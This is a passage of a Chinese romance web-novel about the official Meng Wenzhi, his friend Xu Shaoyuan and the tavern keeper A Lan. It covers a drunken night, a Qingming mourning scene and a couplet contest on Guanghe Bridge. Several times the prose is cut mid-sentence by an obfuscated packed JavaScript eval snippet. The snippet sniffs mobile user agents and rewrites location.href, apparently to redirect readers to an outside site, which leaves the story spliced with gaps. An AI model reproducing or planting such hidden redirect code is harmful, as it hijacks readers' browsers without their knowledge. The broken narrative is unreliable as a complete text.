见他是真的难受，忙轻轻按住他两边肩头，让他不要乱动，好声问他：“你明明喝不得酒，为何逞强呢？” 她虽动作轻柔，孟文芝却也听话地没与她抵抗，坐在原处张了张嘴，好半天才说道：“我是想……想与你喝。” 阿兰一下子愣了神。 原本欲说出口的话语，被悄然咽回心底，再无一丝声响逸出。 她一向心思敏锐，可不似那些痴笨的木头，她什么都知道。 包括眼前这个男人对她尚不敢挑破，只能藏在心底的情谊…… 刹那间，奇异的平静感如潮水般自脚尖蔓延，席卷全身，呼吸渐渐平缓，整个人终于重回理智。 过了许久，这个世界昏沉睡去，没有丝毫噪音。 孟文芝沉沉伏在桌面，阿兰则坐在了他旁边，很长时间才眨动一次眼睛，不知在想些什么。 蓦地回神后，自己又倒一碗酒来，盯了酒面半晌，竟朝他的空酒碗轻轻一碰。 再扭过脸，表情已不同于先前，垂眸似笑非笑地说：“我也希望，我们是朋友。” 她仰头一饮而尽。 未曾与孟文芝谋面之时，阿兰只觉这世道荒谬不公。认识他后，才知道，原来真正不公的并非世道本身，而是人心。 有些人凭借权势，肆意践踏他人尊严，玩弄律法于股掌，致使正义蒙尘，无辜者含冤。 而孟文芝不同，他虽待事严苛，眼中容不得沙，却是有原则，有底线的人，从未有过无端刁难。 如果能早一点遇到他，或许自己就能为惨遭横祸含恨而死的家人昭雪，不至于一次次申诉无门，最后犯下无法挽回的弥天大错，从此万劫不复。 阿兰嘴角轻扬，笑容里说不清是释怀还是落寞。 “但是……如果和我做朋友，你一定会后悔。”她眸子点点闪烁着，强忍好一阵酸楚，这才没掉下眼泪。 孟文芝对她不堪的过往一无所知，可一旦知晓了，知晓她双手曾沾染鲜血，知晓她是那手刃亲夫的恶徒，还会像现在这般毫无芥蒂地待她吗？ 怕是只会厌恶至极，连一个眼神都不愿再施舍。 夜渐渐深了，整个永临只有她家酒铺仍然亮着灯火。两人横坐在同一条长凳上，一个早已醉倒在桌上，另一个撑着脸，对酒感伤。 突然，半掩的门被推开，走进来一个男人。 那人先在门前稍作驻足，找到目标后，径步便朝孟文芝走去。 阿兰先被惊动，摇摇晃晃站起身，还未开口问询，却听对方斥责道：“你这店家怎么如此不厚道，竟灌人这么多酒！” 说话之人正是孟文芝的好友，许绍元。 他看着地上一坛一坛的酒罐子，怕不是全要让孟文芝喝的，这人什么酒量，自己再清楚不过，眼前这番景象，他着实看不下去，这才语气重了些。 他把孟文芝催醒，后者蒙眬睁开眼，就见许绍元嗔怪着：“小盅不过瘾，用起脸大的碗喝了？你这酒量可真是练出来了。” 好不聒噪。于是只好先把酒碗推开，朝他摆摆手，扭头窘迫地看向阿兰。 阿兰无措地站着，与他是一样地双颊绯红，酒意醺然，脸醉得跟朵花似的，不知道该说些什么。 许绍元伸手探进怀中，掏出钱袋，“啪”地搁到桌上，对阿兰说：“这些酒钱，若是有多，你便尽数收下；倘若不够，尽管到我许府上讨要便是。” 他扶着孟文芝站起来：“人我带走了。” 阿兰望着他二人离去的背影，愣了半晌，才晕乎乎地过去关门上闩，心里却始终静不下来，竟去踮脚用手闷住门前的铃铛声响。 这铃声一消，屋子里好像瞬间冷了下来。 ………… 清岳在门口等着，远远见到有两个人从路上走来，一个歪在另一个人身上，看了许久，脚下想走过去，人却还在犹豫，正眯眼确定着。 “快来帮一把！”许绍元挺了挺腰身，喊道。 清岳这才相信是他家少爷回来了，忙跑过去搀在另一边，扑面一股酒气，但也没好说些什么。 两人把他送到床上，许绍元把清岳叫到一旁，问他：“他走之前与你说去干什么了吗？” “只说有事，”清岳摇头，又想到什么，补充着，“那会少爷与我刚回来，开门时见门环上有个纸条，少爷看完，登时脸色变得极好……还专换了件衣裳才走，也不让我陪同。” 许绍元陷入沉默，自己思索了一会，恍然明白了，便对清岳道：“好。有劳你快去热些醒酒汤来。” “我这就去。” 清岳转身离去，许绍元踱步至床沿，瞧孟文芝醉酒的睡相，自语道：“原来是心中有人了。” 说着，许绍元忍俊不禁，还顺手去帮他松了松衣领。 孟文芝不知什么时候睁开了眼睛，静静地看着他，那眼神，也不知把他当作了什么人。 蓦地发现他的目光，许绍元浑身霹雳，一下子抽离了手，严肃提醒道：“你看清楚我是谁，我是许绍元。” 孟文芝极吃顿地眨了眼睛，憋了半天，终于憋出三个字：“我知道。”目光也移向了别处。 因为头疼，他仍保持着被送在床上的姿势，一动不动，只有眼睛在缓慢挪移着。 身体也好像不是自己的，很热，很轻，有种不真实的幸福感游走在身间。孟文芝双眉舒展，唇角轻陷下去两点，看他模样，仿佛踏进了梦中的桃源，脸上全是掩不住的快乐。 “奇怪，好生奇怪！”许绍元目不转睛盯着他，喃喃感叹，说着，又斜身坐到床边，趁他糊涂，小声套他话来，“文芝，你刚来永临，咱二人多年未见，那么高兴的场面，你也就勉强喝下了一杯，如今这么痛快，就是为了那个女人么？” 孟文芝又把目光从床尾转向他，呆愣愣地听了半晌，很是认真地在思考消化他的话。 许绍元便耐心等着。 不过多久，孟文芝点了点头，嘴角的弧度更甚。 “好么！倒是把女人看得比朋友兄弟还重，我才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15177669|163483||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看清你是这样的人。”许绍元佯装生气，扭脸不乐道。 孟文芝看他不愿理自己，正欲闭上眼，又被拉住手强行唤醒。 许绍元又问：“就是与你喝酒那个姑娘吗？” 这回孟文芝没有思索，很是干脆地点着头。 “她叫什么？” “阿兰。”孟文芝开口，带着浅淡的酒气，眼睛里雾蒙蒙的。 许绍元回忆片刻，想起她似乎是之前被强占闹到公堂的女子，还是孟文芝把她救下，想必缘分也是这样来的。但又不放心，摇头接着问：“光说名字，她姓什么呢？” 孟文芝望着他，一语不发。 “父母是谁？家又在哪里？” 又过了很久，才听到回答：“我不知道……” 这才廖廖几个问题，却都答不上来，未免也太过草率。许绍元一下子换了神色，对他说：“怎么什么都不知道，你二人身份毕竟有差，就不怕她有心宰你？” 孟文芝想了想，抬眸道：“她不会宰我。” 许绍元一愣，彻底缴械，无奈笑道：“哎，我跟你这醉汉费什么口舌。” 话说完，还是免不得悄悄庆幸一番，暗想他心思藏得如此之深，若不是今晚事出非常，自己还真探不出他的心思。 这时，清岳端着醒酒汤，用背推开门，转身走了进来。 许少元则从床边站起了身，对孟文芝说：“坐起来把汤喝了，醒醒酒。”说着，就要弯腰去扶他。 一个不留意，力度稍大了些，孟文芝身体一晃，脑袋里面全是钝石头到处乱砸般，又痛又沉，不免咧开嘴角吸了一气。 许少元赶忙放缓动作，让他扶着自己坐好，随后便退到不远处的桌旁坐下，让清岳送汤过去。 孟文芝也知道这会儿身体不好受，配合着把汤饮尽，又躺了回去。 清岳离去后，许少元在原处坐了半晌，这才又对着闭上眼睛的孟文芝开口：“文芝，光顾着说你的事情，我今夜也是有事前来的。” “我瞧你这会也听不进去，明日再与你说吧，”许少元起身凑到床边，“只是今晚我得留在你府上了。” 孟文芝侧脸向内，把后脑对他，仍不清醒地应着：“你随意，找间能住的就好……” 许少元听罢怔住，过了会，撩起袖子闷闷道：“现在好性子都给了姑娘家，对我就这样的粗鲁。” 孟文芝在床上隐约听他这样说自己，便转过身催促：“快走，快走。” 第二日。 酒后觉短，孟文芝早早醒了，已换好衣装，举手投足间，平日里的正经气质终于回来了，与昨夜全然不似一人，只是脸上十分疲倦，眼里还停着血丝。 许绍元敲门而进，见他已经整理好自己，颇为惊讶，故意打趣道：“昨晚上的人去哪里了？” 孟文芝将两边衣服一捋，转身，刚见到他，便故意装作失了记忆，反问道：“绍元，你怎么在这儿？” 许绍元被噎了回去，见他表情没有波澜，也分不清他是真的不记得，还是也在耍弄自己。 僵持不久，他败下阵来：“昨晚还是我把那么烂醉的你带回来的。” “谢谢。”孟文芝简单回了两个字。 许绍元可没看出他感谢的情绪，反而觉得他分明心中不满：“我看你是怪我坏了你的好事。” 孟文芝听后，竟笑了出来，虽然很快收敛了，还是被许绍元发现，后者气道：“好啊，原来被我说中了。” 转而又准备长篇大论开始感叹，孟文芝见他架势不对，忙堵住他的话，免得人又喋喋不休地说起来：“对了，昨天那么晚，你找我做什么？” 许绍元半开的嘴合上一瞬，又张开来：“你可不知我最近遭得什么难！” 一句话出口，脸上表情瞬间为难起来，孟文芝也猜不到他究竟因何事苦恼，只将人领到院里，去亭下坐着， 亭中小风一吹，吹去了昨日残余的燥热。孟文芝好生坐着，待他继续说下去。 “昨日，我有个远房表妹突然登门拜访……”许绍元话没说完，先叹了口气。 “哦？”孟文芝转眸，“那该是好事。” “哪是什么好事。”许绍元将手双攀在石桌上，连连否认，“她有目的而来。” 孟文芝微微挑眉，眼中闪过一丝疑惑，开口问道：“是何目的？”心想远房亲戚走动，最差不过是想借些银钱接济一二，可他家中资财也算丰厚，并非缺衣少食之人，不该为这些琐事烦忧才对。 22. 记得多笑 许绍元见他全然不知事情的严重性，猛站起身，将双手摊开在身前，对着自己从上到下来回比划道：“她图人，图我的人！” 见他如临大敌，孟文芝眼底藏着笑意，不动声色地轻偏过头。 许绍元心急如焚，却又无计可施，只能连连拍掌吸取他的注意：“这不是儿戏。” “好，”孟文芝配合他神色一正，恢复平时的肃穆模样，点头道，“不作儿戏。” 许绍元这才满意，肯继续往下说：“那姑娘先前并未与我家通过书信，昨日下午毫无预兆到来，声声言道是专程来见我的。” 孟文芝耐心听罢，疑惑问：“你二人很相熟？” “不熟，一点都不熟。”许绍元浑身抗拒，边摆手边摇头，“我们上回见面时，她还是个小小孩童，身量刚及我腰间。”说着，又伸手比划几番，为他重现当年之景。 “一晃那么些年过去，我连她名字都忘干净了，真真没想到还能再有交集。” 对此事，孟文芝要比他通透几分，不紧不慢道：“到底是有亲缘，你躲不掉。” 许绍元瞧他说的轻松，只觉心中愁绪无人理解，当下攒聚两眉，满脸的烦闷，长长哀叹一声：“怕不是马上要亲上加亲，亲得更甚了！” 听者嘴角已勾得愈发明显，终是倾身截过话，提醒道：“慎言，小心被别人听去。”眼中难得露出几分促狭之色。 “哎呀。”许绍元怨了一声，忽地耷下肩膀，彻底泄去力气。 这会子又挺起腰杆，捡回兄长的架势，对他指指点点道：“你这人，半点不为哥哥我着想，反倒嫌我招笑。” 孟文芝当然是矢口否认，镇定回应：“没有。”只是话时神情仍颇耐人寻味。 “就不怕我哪日给你领回一个嫂嫂么？” “若是真的，合该恭喜。” 若是孟文芝起了逗趣的兴致，许绍元还真招架不住，这八个字一出，石头似地哽进他心间，噎得人说不出话来，也再没了玩笑的心思。 反应过来后，先是嘟哝着：“我瞧你是被那几碗酒迷昏了头，如今竟与我父母一样，乱点鸳鸯。” 转而，又语重心长地说：“她正值青春，我而立将至，心智阅历也截然不同，万万不能胡来。” 他既认真起来，孟文芝自然也能听出他言语中的深思熟虑，当即整肃容色，颌首肯定道：“你说的是。” “你终于肯明白了。”见那昔日言笑不苟的人重新回来，许绍元胸口畅快许多，却累得不轻，单手支起下巴，驼了身子，与他说起正事，“所以，我想在你这处避避，一直待到她离开，不知你方便不方便？” 这些都不成问题，孟文芝无需思考，答道：“自是方便。” “不过，近来冗务缠人，我无法与你作陪，只能你自行消遣了。” 许绍元忙不迭点头，就这样欢欢喜喜住进了他的寓所，登时烦恼消散不少。 只是宅中冷清寂静，少有人影生机，许绍元向来性子活泼，在此处困上半日，便觉得乏闷得紧，又不好再回家叫来随从，百无聊赖之际，只能独自踏出门槛，在周遭街巷悠转。 也不知走到了哪里，一抬头，便见顶上插着两方青色酒旗，猎猎招展。 定睛朝那店内一看，里面事物的陈列布局很是熟悉，思了片刻，终于恍然——这不就是前夜孟文芝沉醉的地方吗？ 当时，他还不知此处已有红豆暗生，只以为好友被人灌酒，心急起了火气，态度欠佳，匆忙扔下钱袋便把人带走，也不知其中数额够是不够…… 忧思少顷，许绍元拂了拂衣袖，举步踏入店内。 那酒娘子端坐在柜台之后，螓首微垂，不知手头上正忙着何事，忽闻门前响动，下意识抬眸站起，斜身将来人望进眼里，目光闪动，好像认出了他。 许绍元被这么一看，心下莫名尴尬慌乱起来，浑身不痛快，于是忙将视线别开，佯装从容地寻了处空位坐下。 阿兰虽不知他今日前来是为何事，但总是省去了她的麻烦，弯下腰身从格屉里摸出他为孟文芝付的酒钱，把钱袋子提在手里，一边暗自思忖，一边款步走向他。 “这位郎君……” 阿兰抬手正欲把钱袋递去，许绍元眼角余光瞥见她动作，胸口紧促，以为是钱数果真不够，便不假思索，直言问道：“还差多少？我补上就是。” “郎君你有所误会，”阿兰忙上前把钱袋搁到他桌上，又挪开脚步，向后退去，解释道，“那日酒钱我不收的。” 许绍元终于明白过来，一时无措，转头四下望了望，也不知要做些什么，却无意中看清了这酒铺的萧条寂寞。 毕竟文芝对她有意，他平日忙碌，恐怕不知道这处生意惨淡，自己代他照拂一二，也是该的，念及此，许绍元又将钱袋推了回去，道：“那便作我今日喝酒的费用吧。” 那锦袋里份量不小，阿兰稍觉意外，站在原地：“不知你想喝些什么？”话语间满是迟疑。 “有什么上什么吧，”许绍元没多想，随口说着，顷刻过后又急急将人叫住，“等一下，那日文芝喝的是什么？” 许绍元素日里癖好繁多，诸般事物皆有涉猎，只道是懂得生活。 对于酒水品鉴，也算是半个行家。他十分好奇，究竟是什么稀世琼浆、美酒佳酿，能把那向来不近杯酌的孟文芝，勾得神魂颠倒，甘心去做了酒鬼。 “玉露酒。”阿兰回答。 许绍元抬身，虚握一拳搭在桌面，改变了主意，“别的不要，只上些玉露吧。” “好。” “可有酒杯？” “有，这就拿来。” 过了一会，阿兰将酒水与酒悉心备好，轻手轻脚地来到桌边，摆放妥当。 许绍元顺手拿起一只空酒杯，在指尖随意掂量，只觉质地与做工都比不上自己平素惯用之物，便将所有期待都倾注在那酒坛中去。 他亲眼瞧着阿兰把酒倒入执壶，自己地接过，鼻尖轻轻探嗅，虽并未捕捉到什么馥郁特殊的香气，却还是迫不及待地将酒斜倾入杯中，举送至唇边，轻嘬了一口。 忽的全身僵涩，入口的酒徘徊在喉前，迟迟不忍下咽，停滞好久，才脖子一伸将其囫囵吞进腹中，缓缓放下了杯子。 阿兰早看出他举止阔绰，该是家境丰饶之辈，想来生活讲究，标准也是极高的。他这副神态，倒叫她心头一紧，握住钱袋，欲再推送回去。 “没事，没事……”许绍元忙抬头说，脸上堆起并非发自内心的笑容，“还挺不错的。” 话虽如此，他却迟迟不愿再让手里转着的酒杯靠近自己。 气氛正难堪时，突然响起一阵细碎铃声，一个男人迈步入内。 这人身上长衫洗得发白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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话落，终于回到正题：“我今日本是去替你给阿兰送酒钱的，却撞见了蹊跷事。我瞧着，有个男人和她关系匪浅，你可要警惕着些。” 孟文芝微微一怔，旋即恢复如常，似乎想说什么，被忍下去，最后单点了头，垂眸开口：“我知道了。” 倒是让许绍元干着急：“那就早点打算，去做点该做的。” “你这一来，短短时日，只要埋首公务，就寒气逼人，不是罢这个的官职，便是斩那个的首级。虽都知道你心为大家，但单拎出一人来，哪个对你不心虚，不害怕？”许绍元替他无奈，强笑道，“我竟只能夸你威严立得好……” “文芝呀，你不主动亲近，谁敢与你敞开心扉？”许绍元苦口婆心，言辞恳切，把他的手放到自己膝上，拍了又拍。 见他正认真回味自己的话，许绍元忽而一笑，补充道：“当然除了我。” 孟文芝冷不丁收回思绪，立即把手抽了回来，漠然视他：“那你倒是好肥的胆子。” “不敢不敢。” 许绍元不再贫嘴，起身打了个哈欠，就要往外走，到了门口，还能记得回过头去指点他，远远道：“一定要主动点，常抽空去见她。” 又呲起牙，把手放到脸旁：“记得多笑，要温柔！” 23. 广合桥上 那日过后，孟文芝特意叮嘱许绍元，让他安安生生在这里呆着，不要再去打搅别人。 一晃就到了清明节，风雨绵软，草木芬芳，正是作踏青祭扫的辰光。 李知县命官府筹办了联扇会，就在一座大石桥上。 大石桥名叫广合桥，今年刚落成，桥身整洁坚实，桥面宽阔平整，能同时容数人驻足。且凭栏望去，桥下尧河潺湲东流，两旁垂柳蘸水，也跟着斜去，远处天河相接，烟波浩渺，景色很是宜人。 几名吏员早早前来，在栏边支起柏木长案，其上备有笔墨。案后箱笼层层摞起，木架上悬着三排素面折扇。 每柄皆有一行字，是刚抄好的上联，供来者对句。 长桌旁还单摆着一张四方桌，白发老儒端坐在后，若经他检验，这句子对得工整和谐，便可去箱笼中自行则取一件利物，其中香囊书画，茶具绫罗，应有尽有。 只能赞道是李知县费心了。 孟文芝清早起来，恰途经这广合桥，从车子里便听得外面热闹，便将车帘挑开一角，向外张望。 只见广合桥上人头攒动，欢腾一片。几名吏员往来其间维持秩序。他倒未曾注意过此处会有联扇会，一时被吸引，多看了几眼。 因行人众多，车子仅能缓行。一名眼尖的吏员瞥见车帘后的他，忙高声向同伴喊道：“孟大人来了！” 这句话先被孟文芝听了去，自知被发现，也不好一直在车上坐着，便下来走动走动，顺带去探个究竟。 冰凉细雨拂面，雾一样的清爽。 人群渐渐散开，为他让出一条通道来。他本意不愿搅扰众人的兴致，可此时说什么都显得多余，不妨就此上前去，俯身一看。 桌上摊开着几把折扇，扇面中的上联笔迹微湿，散发着淡淡的墨香，显然是人们正思考接对的。 再往旁边老儒那里一观，是几扇已对好下联的，也算将活动看明白了。转头忽地发现众人目光都落在他身上，这才忙道：“诸位继续，莫要因我中断。” 孟文芝正欲速速离去，冷不丁身后传来一声呼喊：“孟大人留步！” 回头一瞧，竟是李知县。也不知这人从哪里来，又是什么时候到的，瞧这情形，怕是一时半会难以脱身了。 李知县满脸笑意，快步迎上前，拱手寒暄道：“孟大人，这桥上风光如何啊？” 孟文芝抬眼远眺，眼中闪确有欣赏，赞道：“风景如画，着实不错。” 李知县咧嘴笑着介绍：“今日清明，我特意让人在此举办联扇会，想给这春日添些雅趣。”说到这儿，他稍作停顿，目光里满满的殷切，似是在盼孟文芝回应。 他心领神会，便配合着再夸道：“知县有心了。” 李知县听后，嘴角不住上扬，眼睛眯成了缝，却连连摆手，故作谦逊：“嗳，分内之事，不足挂齿！” 话落，径直去架子上取出一把空白折扇，双手递在孟文芝面前，态度恭敬又热络：“大人今日有缘到此，实属难得，不妨也参与其中，题上一句，让大伙对对，一同凑个热闹。” 孟文芝抬眼，只见众人纷纷安静，一道道目光向他投来。总不好坏了大家的兴致，便不做推辞，眉眼舒展，微笑接过扇子。 缓缓举目四望，将春时景致尽收眼底。轻风吹过，柳枝悠然飘摆，岸旁杏树落花入水。 孟文芝略一思忖，便将扇子摊开在桌上，俯身提笔取墨，提道： 弱柳牵情，杏英衔波藏别绪。 “好！”李知县亲眼盯着他一字一字写下，连声赞叹。 赶忙挥手造风，待扇上墨水稍干，便小心翼翼地捏着边角，高高举起，面向众人，高声道：“巡按大人带头开篇，各位也不要再藏着掖着，快一展才华，看谁能对上这句？” 众人探身看去，相互间交头接耳低声议论，可却始终无人站出来应对。 孟文芝见状，垂首浅笑，清楚自己不过即兴挥笔，随手写画一番，大家这般慎重，实是给足了他面子。 这般想着，还是早些离开为好，便简单与知县等人告了别，登车远去。 那柄承载他墨宝的扇子，被挂在架上，在风中轻轻晃动，这一挂，便是一天。 奈何阿兰出行不经这里，步履匆匆，到底也沾染不到一丝欢腾。 清明正是仲春暮春之交，天地间满是盎然生机。 阿兰孤身走进一座无名的野山，这里不曾经过雕琢，质朴天然，春色更是漫山泼洒，比外面疯狂得多。 只是眼前满目葱茏，非但不能暖起人心，反倒衬得她愈发哀凉。 目光游离多时，终于在山头上找了块不长树不长草的荒地。 阿兰生起火堆，火苗在身前跳跃，渐趋旺盛。转而将手探入口袋，从里面掏出一指厚的一沓纸。 每张纸上都密密麻麻布满了字迹。 阿兰跪坐在火堆旁，身形单薄，每掀起一张，自己先送头到尾回顾一遍，红了眼眶，再将其送进火堆，火焰舔舐着它的边角，下一瞬，便把整张纸吞卷入腹。 火烧得越来越旺。是细雨扑不灭的火。 阿兰双眉低垂，眼中情绪与春色颇为不符，到底是思亲了。 如今自己独自在外，亲人却长眠在开封的土地之下，阴阳相隔，摆着的是跨不过的生死鸿沟。再想，连那里的土地都不能去看一看，摸一摸，竟更为悲苦。 纸灰旋空而起，融入在头顶的黯淡天色之中。 四周鸟儿脆鸣，树声簌簌。 阿兰低低地唤了一声：“爹，娘，弟弟。” 她眼中噙着泪，说话间，几丝头发掠过脸面，沾在润湿的唇上，轻轻飘摇。 纵是在无人的山头，阿兰也不敢多说什么，腹中真正的委屈被理智强压着，怕被人听了去，招来祸端。 一腔苦怨本就不知从何说起，阿兰却只能张张嘴，无声地把话讲尽。 小雨如愁绪般绵绵不绝，吹在她的眼睫，惹得人双眼直颤。 最后不堪其扰，竟只能把话跳到末尾：“你们不要怪我。” 一出口，阿兰眼中不在恍惚，被火光点燃，端正了身子，重新道：“我思念你们，但你们不要怪我，也不要盼我。” 她将两手合并在唇下，继续喃喃着：“让我晚些时日再去与你们相见吧……”更像是在祈求。 两串眼泪断了线，滴滴答答坠进膝前的土里。 即使阿兰尝试与过往和解，却始终摆脱不了故去之人所带来的压力和束缚。 爹娘生前谆谆教诲，让她存善心，守道义，可她却在盛怒之下犯下杀人重罪，彻底背离正道，从此只能如蝼蚁般偷生。 如今，竟还妄图追寻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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一人拍拍手中宝贝道：“真没想到你我都能对上几柄扇子，得到这些好东西。” 另一人得意昂首，挺起胸脯：“那是，书可不是白读的。” 阿兰面上神色平静，却用耳朵仔细听着，终于耐不住，偏了步子走向他二人。 “两位郎君，方才听你说对扇子，是什么意思？” 他们礼貌止住脚步，其中一人笑着，回身指向远处，对她说：“姑娘有所不知，你瞧那头，广合桥上在举行联扇会，对上对子便能拿到利物，这会儿扇子恐怕已经所剩不多了，姑娘快去看看吧。” 阿兰一听，眼波流转，好像有了什么主意，忙回应道：“多谢郎君告知。” “不必客气！” 阿兰抬眼远望，定睛片刻，便径直朝广合桥走去。 一天下来，桥上那处摊子已展示了许多对好的联句，各有各的风格，很是有趣。 吏员们张罗到这会儿，也有些累了，此时桌上只剩一把还没人对上的扇子，众人围着它，一个个思着想着，绞尽脑汁。 老儒看得老眼昏花，脸上明显疲倦，白花花的胡子眉毛都凌乱起来。对来找他品鉴的人挨个说着： “不好，不好，下一个。” “这个有点意思……但又差点意思。下一个。” “欠佳！下一个来。” 在他旁边坐着休息的小吏员侧身对他说：“何必这么苛刻呢！就剩这一把扇子，他们对完了，我们也好早走呀。” “有眼无珠。”老儒尚不正眼看他，放缓语气轻骂道。 吏员一听，不乐意了，坐直身子找他理论：“你这老头儿，怎么说话呢！” 24. 细水长流 老儒虽有不悦，却不屑与他一般见识，把那唯一的一把扇子拿在手里，用指头轻轻在扇面弹了弹，让吏员自己来看：“你道这是谁写的？” “自然是巡按大人的手笔，我亲眼看着他写的，你又不是不知道。”吏员满不在乎，压下音量，话语轻慢：“老头儿，你看着如此清正，原来么，书中读出的是巴结人的道理。” 老儒强按住火气，声音沉沉：“巡按有何了不起？可不值得我去巴结。” 他把打开的扇子看了又看，眼里满是欣赏，一改先前语气，道：“真正厉害的是，他年纪轻轻，三年前就做了状元。”说完，才抬眼看向吏员，果见对方目瞪口呆，一时间哑口无言。 “纵是他随便写一个字，也该是你花千金都求不来的。”老儒补充着，“扇上这一句，若是对不出个绝妙的下联，那可就叫暴殄天物了。” 吏员还没说话，老儒又去看他，见他这回是一脸迷茫，左手将扇子一合，右手伸出二指，悠然开口朝他解释：“所谓暴殄天物，就是……” “得了得了。”吏员已经知晓这扇子意义非凡，便不再与老儒作对，但着实不愿听他在一旁唠里唠叨，强端着他双肩，把他身子扭正，自己躺在椅背上眯了眼。 没一会儿，耳边又传来椅子挪动的声响，吏员烦躁地皱了皱眉毛，很是不满。 “孟大人，您又来啦。”老儒沙哑的声音钻进他耳朵，他本想动动嘴皮让他小点声，不想眼睛却懂事地先一步大睁开来。 眼中刚能看清事物，便见孟文芝站在对面，霎时困意尽消，跟着站起身，生怕将人怠慢。 孟文芝返程途中再次路过此地，想起清晨留下的上联，心中好奇他人会如何应对，便按捺不住下车，吩咐随行人员先行离去。 他阔步上前，目光扫过扇架上悬挂着的已对好的扇面，逐一审视，挨个看遍，却寻不见自己留下的那柄，心中纳闷，但碍于身份，并没有直接开口询问。 这时，身旁一人走动起来，去找那老儒，问道：“先生，再让我看看刚才那柄扇子。” 老儒低头摸起桌上的扇子，把它缓缓打开，给他仔细瞧。 孟文芝跟着看去，原来他提的扇子在这里。 那人盯着扇面，反复琢磨良久，口中念念有词，声音越来越大，最后笃定起来，高声说：“我对‘娇花照影，莺语啭春惹相思。’您看如何？” “嗯……”老儒慢坐下来，双唇紧抿思索片刻，最后还是摇头说道：“不妥，不妥。” “哪里不妥？”那人听后脸上笑意消失，换之而来的是疑惑，追问他。 老儒闭上眼，不疾不徐道：“你这下联俗气得紧，不仅没跟上联相得益彰，反倒把它的格调也带偏了。” 那人一听，脸上有些挂不住，刚想开口反驳，却被身旁的好友拉住：“算了算了，不要较真。就剩这一把扇子还悬着，肯定不会轻易让我们对上的，咱走吧。” 孟文芝才知道，老先生对自己题句的扇子竟这么看重，筛选下联标准如此之高，心中滋味难以言表，实分不清究竟该喜该忧。 瞧着众人搜肠刮肚，却依旧无人能令老儒满意，孟文芝自思，恐怕今日难以看到这柄扇子落下第二句。 这般想着，他转身轻轻叹了口气，起步悄然离开。 哪知他前脚刚走，阿兰后脚而至。 阿兰来到此处，先是站在稍远处观望一番，只见那扇架之上满满当当，所有扇子都已有了匹配的下联。又不想就此离去，便径直走向一位吏员，问道：“怎么没有可对的了？” 吏员闻声，抬手指向老儒那边，说：“喏，最后一把在那儿呢。” 阿兰走过去，拾起扇子，拿在手里端详，扇上笔迹遒劲有力、工整漂亮，比扇架上其余人的字迹都要出众，也不知是何人留下的，扇上写着： 弱柳牵情，杏英衔波藏别绪。 凝视着这行字，阿兰陷入思考，目光不自主地飘落在一旁的毛笔上，眼前突然晴朗，顺手抓起笔，就在扇面下方书写起了下联。 “诶！” 老儒忽然瞥见她提笔，直直往扇面上写，顿时大惊失色，想要出言制止，却已然来不及了。 眼睁睁看着她写完，终是压不住火气，大声嗔怒道：“谁叫你直接写的！” 连吏员都被这声吓得浑身一哆嗦，弄清状况后，赶忙朝阿兰使眼色，小声催促：“快走吧，老头儿要疯啦。” 老儒根本不理会他，探着僵硬的腰身，抢过扇子，心疼地往纸面上看去，刚想哀叹，却见秀丽一行： 瘦毫锁怨，纸灰掠风隐悲心。 原本拧成川字的眉头渐渐舒展，脸上的怒色也慢慢褪去。过不多时，他混浊的眼睛里闪出星芒，竟咧嘴而笑，高声赞叹：“妙哉，妙哉！” 接着便开始追问：“不知姑娘何许人也，竟这般才华？可是哪位大人悉心培养的千金嚒？” 他脸色变化之快，阿兰还没反应过来，仍然呆立在原处，懵懵懂懂，连眼睛都不眨地看着他。 老儒自知是刚才一番举动把她吓到，心有懊恼，又挤挤笑容，努力变得和蔼。 阿兰终于回神后，眸中清亮许多，侧首而笑，却谎道：“老先生有所误会，我只是寻常人家的女子，只是方才偶遇一奇人，他提点我这番应对，嘱咐我代他写下。” 老儒并未怀疑她的说辞，只是迫不及待地想知道那人姓甚名谁。可阿兰连连摇头，一问三不知。 恰在这时，一道清朗的声音冲破他二人对话，从她身后悠悠传来： “纠竟是什么样的奇人，如此神秘？” 老儒突然愣住，面上纹路展开，阿兰见他此状，也急忙转头瞧去。 孟文芝正站在她身后，身姿挺拔。他微微收了下巴，避开她转身时带起的发丝，而对那风中掀起的馨香，却怎么也躲闪不及。 他本已离去，是老儒高亢的一声“妙哉”把他唤了回来。 阿兰猝不及防看见这张熟悉的面孔，也是一怔，但转瞬便收起惊愕之色，嫣然而笑，心情不知不觉间明媚许多。 孟文芝注意到阿兰双眸微臃，泛着薄红，像是有过伤心，可此刻又见她舒展容颜，便也不多思量此事。 朝她回笑，抬起手，在与她齐头高的空中定住，问道：“可是这般高的人？” 阿兰抬眼望去，哪怕有些距离，却也能看出，他所示分明和自己一般高，不知究竟何意。 孟文芝以为她故作迷茫，轻挑一眉，转头又将手掌平平横过来，在空中划出不宽的一道，接着问：“那她可是这般瘦？” 阿兰垂目看了自己身形，才是恍然明了，快步上前拦下他，眼神慌张，小声提醒：“孟大人。” 老儒毕竟有了年纪，看不明白他二人的意思，知道真有这奇人存在，却不知就在眼前。 听孟文芝一番朦胧言语，似乎也见过那奇人，便插 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 